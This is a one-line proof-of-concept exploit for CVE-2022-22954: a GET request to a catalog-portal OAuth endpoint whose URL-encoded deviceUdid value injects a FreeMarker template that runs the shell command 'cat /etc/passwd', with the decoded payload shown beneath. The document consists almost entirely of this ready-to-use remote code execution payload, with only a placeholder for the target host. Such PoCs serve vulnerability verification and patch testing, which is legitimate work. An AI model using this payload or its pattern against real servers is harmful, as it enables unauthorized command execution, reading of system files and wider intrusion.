POC for CVE-2022-22954, one line GET request that will execute the command cat /etc/passwd
.
{host}/catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%22%29%7d
The URL-encoded part is:
${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}